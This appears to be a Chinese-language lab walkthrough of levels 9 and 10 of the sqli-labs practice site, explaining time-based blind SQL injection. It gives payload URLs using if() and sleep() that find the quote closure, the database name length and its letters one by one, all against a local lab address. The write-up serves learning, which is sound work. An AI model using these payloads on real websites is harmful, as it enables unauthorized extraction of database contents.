- [使用场景](https://cloud.tencent.com/developer/audit/support-plan/10680464#_2)
- [第9关](https://cloud.tencent.com/developer/audit/support-plan/10680464#9_23)
- [确认场景](https://cloud.tencent.com/developer/audit/support-plan/10680464#_24)
- [判断闭合符](https://cloud.tencent.com/developer/audit/support-plan/10680464#_32)
- [找到数据库名的长度](https://cloud.tencent.com/developer/audit/support-plan/10680464#_42)
- [将数据库名一个字母一个字母爆出来](https://cloud.tencent.com/developer/audit/support-plan/10680464#_51)
- […………](https://cloud.tencent.com/developer/audit/support-plan/10680464#_64)
- [第10关](https://cloud.tencent.com/developer/audit/support-plan/10680464#10_67)
1.对时间函数敏感
2.前端不显示后端报错和查询结果传来的结果,同时也不根据后端传来的结果显示不同的内容。
一些资料说是:
2.后端报错和查询结果不返回到前端,对前端其他任何输入都不返回给前端不同的内容
至于是后端不返回,还是返回了前端不显示,有点搞不懂,希望有大佬看到能帮我扫盲
基本函数:
var1:条件
var2:条件为真时返回的值
var3:条件为假时返回的值
暂停执行var秒,可以为小数
首先确认场景,确定可以适用延时盲注
http://172.16.11.222/sqli-labs/Less-9/?id=2' and if(3>2,sleep(3),1)--+
不加引号、加上双引号。都立马刷新,加上单引号后,延迟了3秒才刷新出来。说明闭合符是'
单引号
将3>2
换成要查找的数据,这就是前面几关的布尔盲注了。
http://172.16.11.222/sqli-labs/Less-9/?id=2' and if(length(database())>7,sleep(3),1)--+
有8位。
http://172.16.11.222/sqli-labs/Less-9/?id=2' and if(ascii(substr(database(),1,1))>114,sleep(3),1)--+
http://172.16.11.222/sqli-labs/Less-9/?id=2' and if(ascii(substr(database(),1,1))>115,sleep(3),1)--+
大于114是正确的,大于115是错误的,说明是115。即为s
后面的就和前几关的布尔盲注差不多了
同第9关,使用延时盲注